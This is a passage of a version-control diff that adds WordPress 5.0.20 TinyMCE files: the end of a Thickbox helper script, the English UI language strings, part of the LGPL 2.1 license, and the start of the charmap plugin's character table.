+jQuery("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'});
+	if ( ! isIE6 ) { // take away IE6
+		jQuery("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'});
+	}
+}
+
+function tb_parseQuery ( query ) {
+   var Params = {};
+   if ( ! query ) {return Params;}// return empty object
+   var Pairs = query.split(/[;&]/);
+   for ( var i = 0; i < Pairs.length; i++ ) {
+      var KeyVal = Pairs[i].split('=');
+      if ( ! KeyVal || KeyVal.length != 2 ) {continue;}
+      var key = unescape( KeyVal[0] );
+      var val = unescape( KeyVal[1] );
+      val = val.replace(/\+/g, ' ');
+      Params[key] = val;
+   }
+   return Params;
+}
+
+function tb_getPageSize(){
+	var de = document.documentElement;
+	var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
+	var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight;
+	arrayPageSize = [w,h];
+	return arrayPageSize;
+}
+
+function tb_detectMacXFF() {
+  var userAgent = navigator.userAgent.toLowerCase();
+  if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) {
+    return true;
+  }
+}
Index: /tags/5.0.20/src/wp-includes/js/tinymce/langs/wp-langs-en.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/langs/wp-langs-en.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/langs/wp-langs-en.js	(revision 56912)
@@ -0,0 +1,519 @@
+/**
+ * TinyMCE 3.x language strings
+ *
+ * Loaded only when external plugins are added to TinyMCE.
+ */
+( function() {
+	var main = {}, lang = 'en';
+
+	if ( typeof tinyMCEPreInit !== 'undefined' && tinyMCEPreInit.ref.language !== 'en' ) {
+		lang = tinyMCEPreInit.ref.language;
+	}
+
+	main[lang] = {
+		common: {
+			edit_confirm: "Do you want to use the WYSIWYG mode for this textarea?",
+			apply: "Apply",
+			insert: "Insert",
+			update: "Update",
+			cancel: "Cancel",
+			close: "Close",
+			browse: "Browse",
+			class_name: "Class",
+			not_set: "-- Not set --",
+			clipboard_msg: "Copy/Cut/Paste is not available in Mozilla and Firefox.",
+			clipboard_no_support: "Currently not supported by your browser, use keyboard shortcuts instead.",
+			popup_blocked: "Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.",
+			invalid_data: "ERROR: Invalid values entered, these are marked in red.",
+			invalid_data_number: "{#field} must be a number",
+			invalid_data_min: "{#field} must be a number greater than {#min}",
+			invalid_data_size: "{#field} must be a number or percentage",
+			more_colors: "More colors"
+		},
+		colors: {
+			"000000": "Black",
+			"993300": "Burnt orange",
+			"333300": "Dark olive",
+			"003300": "Dark green",
+			"003366": "Dark azure",
+			"000080": "Navy Blue",
+			"333399": "Indigo",
+			"333333": "Very dark gray",
+			"800000": "Maroon",
+			"FF6600": "Orange",
+			"808000": "Olive",
+			"008000": "Green",
+			"008080": "Teal",
+			"0000FF": "Blue",
+			"666699": "Grayish blue",
+			"808080": "Gray",
+			"FF0000": "Red",
+			"FF9900": "Amber",
+			"99CC00": "Yellow green",
+			"339966": "Sea green",
+			"33CCCC": "Turquoise",
+			"3366FF": "Royal blue",
+			"800080": "Purple",
+			"999999": "Medium gray",
+			"FF00FF": "Magenta",
+			"FFCC00": "Gold",
+			"FFFF00": "Yellow",
+			"00FF00": "Lime",
+			"00FFFF": "Aqua",
+			"00CCFF": "Sky blue",
+			"993366": "Brown",
+			"C0C0C0": "Silver",
+			"FF99CC": "Pink",
+			"FFCC99": "Peach",
+			"FFFF99": "Light yellow",
+			"CCFFCC": "Pale green",
+			"CCFFFF": "Pale cyan",
+			"99CCFF": "Light sky blue",
+			"CC99FF": "Plum",
+			"FFFFFF": "White"
+		},
+		contextmenu: {
+			align: "Alignment",
+			left: "Left",
+			center: "Center",
+			right: "Right",
+			full: "Full"
+		},
+		insertdatetime: {
+			date_fmt: "%Y-%m-%d",
+			time_fmt: "%H:%M:%S",
+			insertdate_desc: "Insert date",
+			inserttime_desc: "Insert time",
+			months_long: "January,February,March,April,May,June,July,August,September,October,November,December",
+			months_short: "Jan_January_abbreviation,Feb_February_abbreviation,Mar_March_abbreviation,Apr_April_abbreviation,May_May_abbreviation,Jun_June_abbreviation,Jul_July_abbreviation,Aug_August_abbreviation,Sep_September_abbreviation,Oct_October_abbreviation,Nov_November_abbreviation,Dec_December_abbreviation",
+			day_long: "Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday",
+			day_short: "Sun,Mon,Tue,Wed,Thu,Fri,Sat"
+		},
+		print: {
+			print_desc: "Print"
+		},
+		preview: {
+			preview_desc: "Preview"
+		},
+		directionality: {
+			ltr_desc: "Direction left to right",
+			rtl_desc: "Direction right to left"
+		},
+		layer: {
+			insertlayer_desc: "Insert new layer",
+			forward_desc: "Move forward",
+			backward_desc: "Move backward",
+			absolute_desc: "Toggle absolute positioning",
+			content: "New layer..."
+		},
+		save: {
+			save_desc: "Save",
+			cancel_desc: "Cancel all changes"
+		},
+		nonbreaking: {
+			nonbreaking_desc: "Insert non-breaking space character"
+		},
+		iespell: {
+			iespell_desc: "Run spell checking",
+			download: "ieSpell not detected. Do you want to install it now?"
+		},
+		advhr: {
+			advhr_desc: "Horizontal rule"
+		},
+		emotions: {
+			emotions_desc: "Emotions"
+		},
+		searchreplace: {
+			search_desc: "Find",
+			replace_desc: "Find/Replace"
+		},
+		advimage: {
+			image_desc: "Insert/edit image"
+		},
+		advlink: {
+			link_desc: "Insert/edit link"
+		},
+		xhtmlxtras: {
+			cite_desc: "Citation",
+			abbr_desc: "Abbreviation",
+			acronym_desc: "Acronym",
+			del_desc: "Deletion",
+			ins_desc: "Insertion",
+			attribs_desc: "Insert/Edit Attributes"
+		},
+		style: {
+			desc: "Edit CSS Style"
+		},
+		paste: {
+			paste_text_desc: "Paste as Plain Text",
+			paste_word_desc: "Paste from Word",
+			selectall_desc: "Select All",
+			plaintext_mode_sticky: "Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.",
+			plaintext_mode: "Paste is now in plain text mode. Click again to toggle back to regular paste mode."
+		},
+		paste_dlg: {
+			text_title: "Use CTRL + V on your keyboard to paste the text into the window.",
+			text_linebreaks: "Keep linebreaks",
+			word_title: "Use CTRL + V on your keyboard to paste the text into the window."
+		},
+		table: {
+			desc: "Inserts a new table",
+			row_before_desc: "Insert row before",
+			row_after_desc: "Insert row after",
+			delete_row_desc: "Delete row",
+			col_before_desc: "Insert column before",
+			col_after_desc: "Insert column after",
+			delete_col_desc: "Remove column",
+			split_cells_desc: "Split merged table cells",
+			merge_cells_desc: "Merge table cells",
+			row_desc: "Table row properties",
+			cell_desc: "Table cell properties",
+			props_desc: "Table properties",
+			paste_row_before_desc: "Paste table row before",
+			paste_row_after_desc: "Paste table row after",
+			cut_row_desc: "Cut table row",
+			copy_row_desc: "Copy table row",
+			del: "Delete table",
+			row: "Row",
+			col: "Column",
+			cell: "Cell"
+		},
+		autosave: {
+			unload_msg: "The changes you made will be lost if you navigate away from this page."
+		},
+		fullscreen: {
+			desc: "Toggle fullscreen mode (Alt + Shift + G)"
+		},
+		media: {
+			desc: "Insert / edit embedded media",
+			edit: "Edit embedded media"
+		},
+		fullpage: {
+			desc: "Document properties"
+		},
+		template: {
+			desc: "Insert predefined template content"
+		},
+		visualchars: {
+			desc: "Visual control characters on/off."
+		},
+		spellchecker: {
+			desc: "Toggle spellchecker (Alt + Shift + N)",
+			menu: "Spellchecker settings",
+			ignore_word: "Ignore word",
+			ignore_words: "Ignore all",
+			langs: "Languages",
+			wait: "Please wait...",
+			sug: "Suggestions",
+			no_sug: "No suggestions",
+			no_mpell: "No misspellings found.",
+			learn_word: "Learn word"
+		},
+		pagebreak: {
+			desc: "Insert Page Break"
+		},
+		advlist:{
+			types: "Types",
+			def: "Default",
+			lower_alpha: "Lower alpha",
+			lower_greek: "Lower greek",
+			lower_roman: "Lower roman",
+			upper_alpha: "Upper alpha",
+			upper_roman: "Upper roman",
+			circle: "Circle",
+			disc: "Disc",
+			square: "Square"
+		},
+		aria: {
+			rich_text_area: "Rich Text Area"
+		},
+		wordcount:{
+			words: "Words: "
+		}
+	};
+
+	tinyMCE.addI18n( main );
+
+	tinyMCE.addI18n( lang + ".advanced", {
+		style_select: "Styles",
+		font_size: "Font size",
+		fontdefault: "Font family",
+		block: "Format",
+		paragraph: "Paragraph",
+		div: "Div",
+		address: "Address",
+		pre: "Preformatted",
+		h1: "Heading 1",
+		h2: "Heading 2",
+		h3: "Heading 3",
+		h4: "Heading 4",
+		h5: "Heading 5",
+		h6: "Heading 6",
+		blockquote: "Blockquote",
+		code: "Code",
+		samp: "Code sample",
+		dt: "Definition term ",
+		dd: "Definition description",
+		bold_desc: "Bold (Ctrl + B)",
+		italic_desc: "Italic (Ctrl + I)",
+		underline_desc: "Underline",
+		striketrough_desc: "Strikethrough (Alt + Shift + D)",
+		justifyleft_desc: "Align Left (Alt + Shift + L)",
+		justifycenter_desc: "Align Center (Alt + Shift + C)",
+		justifyright_desc: "Align Right (Alt + Shift + R)",
+		justifyfull_desc: "Align Full (Alt + Shift + J)",
+		bullist_desc: "Unordered list (Alt + Shift + U)",
+		numlist_desc: "Ordered list (Alt + Shift + O)",
+		outdent_desc: "Outdent",
+		indent_desc: "Indent",
+		undo_desc: "Undo (Ctrl + Z)",
+		redo_desc: "Redo (Ctrl + Y)",
+		link_desc: "Insert/edit link (Alt + Shift + A)",
+		unlink_desc: "Unlink (Alt + Shift + S)",
+		image_desc: "Insert/edit image (Alt + Shift + M)",
+		cleanup_desc: "Cleanup messy code",
+		code_desc: "Edit HTML Source",
+		sub_desc: "Subscript",
+		sup_desc: "Superscript",
+		hr_desc: "Insert horizontal ruler",
+		removeformat_desc: "Remove formatting",
+		forecolor_desc: "Select text color",
+		backcolor_desc: "Select background color",
+		charmap_desc: "Insert custom character",
+		visualaid_desc: "Toggle guidelines/invisible elements",
+		anchor_desc: "Insert/edit anchor",
+		cut_desc: "Cut",
+		copy_desc: "Copy",
+		paste_desc: "Paste",
+		image_props_desc: "Image properties",
+		newdocument_desc: "New document",
+		help_desc: "Help",
+		blockquote_desc: "Blockquote (Alt + Shift + Q)",
+		clipboard_msg: "Copy/Cut/Paste is not available in Mozilla and Firefox.",
+		path: "Path",
+		newdocument: "Are you sure you want to clear all contents?",
+		toolbar_focus: "Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",
+		more_colors: "More colors",
+		shortcuts_desc: "Accessibility Help",
+		help_shortcut: " Press ALT F10 for toolbar. Press ALT 0 for help.",
+		rich_text_area: "Rich Text Area",
+		toolbar: "Toolbar"
+	});
+
+	tinyMCE.addI18n( lang + ".advanced_dlg", {
+		about_title: "About TinyMCE",
+		about_general: "About",
+		about_help: "Help",
+		about_license: "License",
+		about_plugins: "Plugins",
+		about_plugin: "Plugin",
+		about_author: "Author",
+		about_version: "Version",
+		about_loaded: "Loaded plugins",
+		anchor_title: "Insert/edit anchor",
+		anchor_name: "Anchor name",
+		code_title: "HTML Source Editor",
+		code_wordwrap: "Word wrap",
+		colorpicker_title: "Select a color",
+		colorpicker_picker_tab: "Picker",
+		colorpicker_picker_title: "Color picker",
+		colorpicker_palette_tab: "Palette",
+		colorpicker_palette_title: "Palette colors",
+		colorpicker_named_tab: "Named",
+		colorpicker_named_title: "Named colors",
+		colorpicker_color: "Color: ",
+		colorpicker_name: "Name: ",
+		charmap_title: "Select custom character",
+		charmap_usage: "Use left and right arrows to navigate.",
+		image_title: "Insert/edit image",
+		image_src: "Image URL",
+		image_alt: "Image description",
+		image_list: "Image list",
+		image_border: "Border",
+		image_dimensions: "Dimensions",
+		image_vspace: "Vertical space",
+		image_hspace: "Horizontal space",
+		image_align: "Alignment",
+		image_align_baseline: "Baseline",
+		image_align_top: "Top",
+		image_align_middle: "Middle",
+		image_align_bottom: "Bottom",
+		image_align_texttop: "Text top",
+		image_align_textbottom: "Text bottom",
+		image_align_left: "Left",
+		image_align_right: "Right",
+		link_title: "Insert/edit link",
+		link_url: "Link URL",
+		link_target: "Target",
+		link_target_same: "Open link in the same window",
+		link_target_blank: "Open link in a new window",
+		link_titlefield: "Title",
+		link_is_email: "The URL you entered seems to be an email address, do you want to add the required mailto: prefix?",
+		link_is_external: "The URL you entered seems to be an external link, do you want to add the required http:// prefix?",
+		link_list: "Link list",
+		accessibility_help: "Accessibility Help",
+		accessibility_usage_title: "General Usage"
+	});
+
+	tinyMCE.addI18n( lang + ".media_dlg", {
+		title: "Insert / edit embedded media",
+		general: "General",
+		advanced: "Advanced",
+		file: "File/URL",
+		list: "List",
+		size: "Dimensions",
+		preview: "Preview",
+		constrain_proportions: "Constrain proportions",
+		type: "Type",
+		id: "Id",
+		name: "Name",
+		class_name: "Class",
+		vspace: "V-Space",
+		hspace: "H-Space",
+		play: "Auto play",
+		loop: "Loop",
+		menu: "Show menu",
+		quality: "Quality",
+		scale: "Scale",
+		align: "Align",
+		salign: "SAlign",
+		wmode: "WMode",
+		bgcolor: "Background",
+		base: "Base",
+		flashvars: "Flashvars",
+		liveconnect: "SWLiveConnect",
+		autohref: "AutoHREF",
+		cache: "Cache",
+		hidden: "Hidden",
+		controller: "Controller",
+		kioskmode: "Kiosk mode",
+		playeveryframe: "Play every frame",
+		targetcache: "Target cache",
+		correction: "No correction",
+		enablejavascript: "Enable JavaScript",
+		starttime: "Start time",
+		endtime: "End time",
+		href: "href",
+		qtsrcchokespeed: "Choke speed",
+		target: "Target",
+		volume: "Volume",
+		autostart: "Auto start",
+		enabled: "Enabled",
+		fullscreen: "Fullscreen",
+		invokeurls: "Invoke URLs",
+		mute: "Mute",
+		stretchtofit: "Stretch to fit",
+		windowlessvideo: "Windowless video",
+		balance: "Balance",
+		baseurl: "Base URL",
+		captioningid: "Captioning id",
+		currentmarker: "Current marker",
+		currentposition: "Current position",
+		defaultframe: "Default frame",
+		playcount: "Play count",
+		rate: "Rate",
+		uimode: "UI Mode",
+		flash_options: "Flash options",
+		qt_options: "QuickTime options",
+		wmp_options: "Windows media player options",
+		rmp_options: "Real media player options",
+		shockwave_options: "Shockwave options",
+		autogotourl: "Auto goto URL",
+		center: "Center",
+		imagestatus: "Image status",
+		maintainaspect: "Maintain aspect",
+		nojava: "No java",
+		prefetch: "Prefetch",
+		shuffle: "Shuffle",
+		console: "Console",
+		numloop: "Num loops",
+		controls: "Controls",
+		scriptcallbacks: "Script callbacks",
+		swstretchstyle: "Stretch style",
+		swstretchhalign: "Stretch H-Align",
+		swstretchvalign: "Stretch V-Align",
+		sound: "Sound",
+		progress: "Progress",
+		qtsrc: "QT Src",
+		qt_stream_warn: "Streamed rtsp resources should be added to the QT Src field under the advanced tab.",
+		align_top: "Top",
+		align_right: "Right",
+		align_bottom: "Bottom",
+		align_left: "Left",
+		align_center: "Center",
+		align_top_left: "Top left",
+		align_top_right: "Top right",
+		align_bottom_left: "Bottom left",
+		align_bottom_right: "Bottom right",
+		flv_options: "Flash video options",
+		flv_scalemode: "Scale mode",
+		flv_buffer: "Buffer",
+		flv_startimage: "Start image",
+		flv_starttime: "Start time",
+		flv_defaultvolume: "Default volume",
+		flv_hiddengui: "Hidden GUI",
+		flv_autostart: "Auto start",
+		flv_loop: "Loop",
+		flv_showscalemodes: "Show scale modes",
+		flv_smoothvideo: "Smooth video",
+		flv_jscallback: "JS Callback",
+		html5_video_options: "HTML5 Video Options",
+		altsource1: "Alternative source 1",
+		altsource2: "Alternative source 2",
+		preload: "Preload",
+		poster: "Poster",
+		source: "Source"
+	});
+
+	tinyMCE.addI18n( lang + ".wordpress", {
+		wp_adv_desc: "Show/Hide Kitchen Sink (Alt + Shift + Z)",
+		wp_more_desc: "Insert More Tag (Alt + Shift + T)",
+		wp_page_desc: "Insert Page break (Alt + Shift + P)",
+		wp_help_desc: "Help (Alt + Shift + H)",
+		wp_more_alt: "More...",
+		wp_page_alt: "Next page...",
+		add_media: "Add Media",
+		add_image: "Add an Image",
+		add_video: "Add Video",
+		add_audio: "Add Audio",
+		editgallery: "Edit Gallery",
+		delgallery: "Delete Gallery",
+		wp_fullscreen_desc: "Distraction-free writing mode (Alt + Shift + W)"
+	});
+
+	tinyMCE.addI18n( lang + ".wpeditimage", {
+		edit_img: "Edit Image",
+		del_img: "Delete Image",
+		adv_settings: "Advanced Settings",
+		none: "None",
+		size: "Size",
+		thumbnail: "Thumbnail",
+		medium: "Medium",
+		full_size: "Full Size",
+		current_link: "Current Link",
+		link_to_img: "Link to Image",
+		link_help: "Enter a link URL or click above for presets.",
+		adv_img_settings: "Advanced Image Settings",
+		source: "Source",
+		width: "Width",
+		height: "Height",
+		orig_size: "Original Size",
+		css: "CSS Class",
+		adv_link_settings: "Advanced Link Settings",
+		link_rel: "Link Rel",
+		height: "Height",
+		orig_size: "Original Size",
+		css: "CSS Class",
+		s60: "60%",
+		s70: "70%",
+		s80: "80%",
+		s90: "90%",
+		s100: "100%",
+		s110: "110%",
+		s120: "120%",
+		s130: "130%",
+		img_title: "Title",
+		caption: "Caption",
+		alt: "Alternative Text"
+	});
+}());
Index: /tags/5.0.20/src/wp-includes/js/tinymce/license.txt
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/license.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/license.txt	(revision 56912)
@@ -0,0 +1,504 @@
+      GNU LESSER GENERAL PUBLIC LICENSE
+           Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+ 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+          Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
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+That's all there is to it!
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+
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/charmap/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/charmap/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/charmap/plugin.js	(revision 56912)
@@ -0,0 +1,1275 @@
+(function () {
+var charmap = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var fireInsertCustomChar = function (editor, chr) {
+    return editor.fire('insertCustomChar', { chr: chr });
+  };
+  var $_ce2ncy9qjjgwebhk = { fireInsertCustomChar: fireInsertCustomChar };
+
+  var insertChar = function (editor, chr) {
+    var evtChr = $_ce2ncy9qjjgwebhk.fireInsertCustomChar(editor, chr).chr;
+    editor.execCommand('mceInsertContent', false, evtChr);
+  };
+  var $_el68bd9pjjgwebhj = { insertChar: insertChar };
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var getCharMap = function (editor) {
+    return editor.settings.charmap;
+  };
+  var getCharMapAppend = function (editor) {
+    return editor.settings.charmap_append;
+  };
+  var $_5e4nos9tjjgwebhr = {
+    getCharMap: getCharMap,
+    getCharMapAppend: getCharMapAppend
+  };
+
+  var isArray = global$1.isArray;
+  var getDefaultCharMap = function () {
+    return [
+      [
+        '160',
+        'no-break space'
+      ],
+      [
+        '173',
+        'soft hyphen'
+      ],
+      [
+        '34',
+        'quotation mark'
+      ],
+      [
+        '162',
+        'cent sign'
+      ],
+      [
+        '8364',
+        'euro sign'
+      ],
+      [
+        '163',
+        'pound sign'
+      ],
+      [
+        '165',
+        'yen sign'
+      ],
+      [
+        '169',
+        'copyright sign'
+      ],
+      [
+        '174',
+        'registered sign'
+      ],
+      [
+        '8482',
+        'trade mark sign'
+      ],
+      [
+        '8240',
+        'per mille sign'
+      ],
+      [
+        '181',
+        'micro sign'
+      ],
+      [
+        '183',
+        'middle dot'
+      ],
+      [
+        '8226',
+        'bullet'
+      ],
+      [
+        '8230',
+        'three dot leader'
+      ],
+      [
+        '8242',
+        'minutes / feet'
+      ],
+      [
+        '8243',
+        'seconds / inches'
+      ],
+      [
+        '167',
+        'section sign'
+      ],
+      [
+        '182',
+        'paragraph sign'
+      ],
+      [
+        '223',
+        'sharp s / ess-zed'
+      ],
+      [
+        '8249',
+        'single left-pointing angle quotation mark'
+      ],
+      [
+        '8250',
+        'single right-pointing angle quotation mark'
+      ],
+      [
+        '171',
+        'left pointing guillemet'
+      ],
+      [
+        '187',
+        'right pointing guillemet'
+      ],
+      [
+        '8216',
+        'left single quotation mark'
+      ],
+      [
+        '8217',
+        'right single quotation mark'
+      ],
+      [
+        '8220',
+        'left double quotation mark'
+      ],
+      [
+        '8221',
+        'right double quotation mark'
+      ],
+      [
+        '8218',
+        'single low-9 quotation mark'
+      ],
+      [
+        '8222',
+        'double low-9 quotation mark'
+      ],
+      [
+        '60',
+        'less-than sign'
+      ],
+      [
+        '62',
+        'greater-than sign'
+      ],
+      [
+        '8804',
+        'less-than or equal to'
+      ],
+      [
+        '8805',
+        'greater-than or equal to'
+      ],
+      [
+        '8211',
+        'en dash'
+      ],
+      [
+        '8212',
+        'em dash'
+      ],
+      [
+        '175',
+        'macron'
+      ],
+      [
+        '8254',
+        'overline'
+      ],
+      [
+        '164',
+        'currency sign'
+      ],
+      [
+        '166',
+        'broken bar'
+      ],
+      [
+        '168',
+        'diaeresis'
+      ],
+      [
+        '161',
+        'inverted exclamation mark'
+      ],
+      [
+        '191',
+        'turned question mark'
+      ],
+      [
+        '710',
+        'circumflex accent'
+      ],
+      [
+        '732',
+        'small tilde'
+      ],
+      [
+        '176',
+        'degree sign'
+      ],
+      [
+        '8722',
+        'minus sign'
+      ],
+      [
+        '177',
+        'plus-minus sign'
+      ],
+      [
+        '247',
+        'division sign'
+      ],
+      [
+        '8260',
+        'fraction slash'
+      ],
+      [
+        '215',
+        'multiplication sign'
+      ],
+      [
+        '185',
+        'superscript one'
+      ],
+      [
+        '178',
+        'superscript two'
+      ],
+      [
+        '179',
+        'superscript three'
+      ],
+      [
+        '188',
+        'fraction one quarter'
+      ],
+      [
+        '189',
+        'fraction one half'
+      ],
+      [
+        '190',
+        'fraction three quarters'
+      ],
+      [
+        '402',
+        'function / florin'
+      ],
+      [
+        '8747',
+        'integral'
+      ],
+      [
+        '8721',
+        'n-ary sumation'
+      ],
+      [
+        '8734',
+        'infinity'
+      ],
+      [
+        '8730',
+        'square root'
+      ],
+      [
+        '8764',
+        'similar to'
+      ],
+      [
+        '8773',
+        'approximately equal to'
+      ],
+      [
+        '8776',
+        'almost equal to'
+      ],
+      [
+        '8800',
+        'not equal to'
+      ],
+      [
+        '8801',
+        'identical to'
+      ],
+      [
+        '8712',
+        'element of'
+      ],
+      [
+        '8713',
+        'not an element of'
+      ],
+      [
+        '8715',
+        'contains as member'
+      ],
+      [
+        '8719',
+        'n-ary product'
+      ],
+      [
+        '8743',
+        'logical and'
+      ],
+      [
+        '8744',
+        'logical or'
+      ],
+      [
+        '172',
+        'not sign'
+      ],
+      [
+        '8745',
+        'intersection'
+      ],
+      [
+        '8746',
+        'union'
+      ],
+      [
+        '8706',
+        'partial differential'
+      ],
+      [
+        '8704',
+        'for all'
+      ],
+      [
+        '8707',
+        'there exists'
+      ],
+      [
+        '8709',
+        'diameter'
+      ],
+      [
+        '8711',
+        'backward difference'
+      ],
+      [
+        '8727',
+        'asterisk operator'
+      ],
+      [
+        '8733',
+        'proportional to'
+      ],
+      [
+        '8736',
+        'angle'
+      ],
+      [
+        '180',
+        'acute accent'
+      ],
+      [
+        '184',
+        'cedilla'
+      ],
+      [
+        '170',
+        'feminine ordinal indicator'
+      ],
+      [
+        '186',
+        'masculine ordinal indicator'
+      ],
+      [
+        '8224',
+        'dagger'
+      ],
+      [
+        '8225',
+        'double dagger'
+      ],
+      [
+        '192',
+        'A - grave'
+      ],
+      [
+        '193',
+        'A - acute'
+      ],
+      [
+        '194',
+        'A - circumflex'
+      ],
+      [
+        '195',
+        'A - tilde'
+      ],
+      [
+        '196',
+        'A - diaeresis'
+      ],
+      [
+        '197',
+        'A - ring above'
+      ],
+      [
+        '256',
+        'A - macron'
+      ],
+      [
+        '198',
+        'ligature AE'
+      ],
+      [
+        '199',
+        'C - cedilla'
+      ],
+      [
+        '200',
+        'E - grave'
+      ],
+      [
+        '201',
+        'E - acute'
+      ],
+      [
+        '202',
+        'E - circumflex'
+      ],
+      [
+        '203',
+        'E - diaeresis'
+      ],
+      [
+        '274',
+        'E - macron'
+      ],
+      [
+        '204',
+        'I - grave'
+      ],
+      [
+        '205',
+        'I - acute'
+      ],
+      [
+        '206',
+        'I - circumflex'
+      ],
+      [
+        '207',
+        'I - diaeresis'
+      ],
+      [
+        '298',
+        'I - macron'
+      ],
+      [
+        '208',
+        'ETH'
+      ],
+      [
+        '209',
+        'N - tilde'
+      ],
+      [
+        '210',
+        'O - grave'
+      ],
+      [
+        '211',
+        'O - acute'
+      ],
+      [
+        '212',
+        'O - circumflex'
+      ],
+      [
+        '213',
+        'O - tilde'
+      ],
+      [
+        '214',
+        'O - diaeresis'
+      ],
+      [
+        '216',
+        'O - slash'
+      ],
+      [
+        '332',
+        'O - macron'
+      ],
+      [
+        '338',
+        'ligature OE'
+      ],
+      [
+        '352',
+        'S - caron'
+      ],
+      [
+        '217',
+        'U - grave'
+      ],
+      [
+        '218',
+        'U - acute'
+      ],
+      [
+        '219',
+        'U - circumflex'
+      ],
+      [
+        '220',
+        'U - diaeresis'
+      ],
+      [
+        '362',
+        'U - macron'
+      ],
+      [
+        '221',
+        'Y - acute'
+      ],
+      [
+        '376',
+        'Y - diaeresis'
+      ],
+      [
+        '562',
+        'Y - macron'
+      ],
+      [
+        '222',
+        'THORN'
+      ],
+      [
+        '224',
+        'a - grave'
+      ],
+      [
+        '225',
+        'a - acute'
+      ],
+      [
+        '226',
+        'a - circumflex'
+      ],
+      [
+        '227',
+        'a - tilde'
+      ],
+      [
+        '228',
+        'a - diaeresis'
+      ],
+      [
+        '229',
+        'a - ring above'
+      ],
+      [
+        '257',
+        'a - macron'
+      ],
+      [
+        '230',
+        'ligature ae'
+      ],
+      [
+        '231',
+        'c - cedilla'
+      ],
+      [
+        '232',
+        'e - grave'
+      ],
+      [
+        '233',
+        'e - acute'
+      ],
+      [
+        '234',
+        'e - circumflex'
+      ],
+      [
+        '235',
+        'e - diaeresis'
+      ],
+      [
+        '275',
+        'e - macron'
+      ],
+      [
+        '236',
+        'i - grave'
+      ],
+      [
+        '237',
+        'i - acute'
+      ],
+      [
+        '238',
+        'i - circumflex'
+      ],
+      [
+        '239',
+        'i - diaeresis'
+      ],
+      [
+        '299',
+        'i - macron'
+      ],
+      [
+        '240',
+        'eth'
+      ],
+      [
+        '241',
+        'n - tilde'
+      ],
+      [
+        '242',
+        'o - grave'
+      ],
+      [
+        '243',
+        'o - acute'
+      ],
+      [
+        '244',
+        'o - circumflex'
+      ],
+      [
+        '245',
+        'o - tilde'
+      ],
+      [
+        '246',
+        'o - diaeresis'
+      ],
+      [
+        '248',
+        'o slash'
+      ],
+      [
+        '333',
+        'o macron'
+      ],
+      [
+        '339',
+        'ligature oe'
+      ],
+      [
+        '353',
+        's - caron'
+      ],
+      [
+        '249',
+        'u - grave'
+      ],
+      [
+        '250',
+        'u - acute'
+      ],
+      [
+        '251',
+        'u - circumflex'
+      ],
+      [
+        '252',
+        'u - diaeresis'
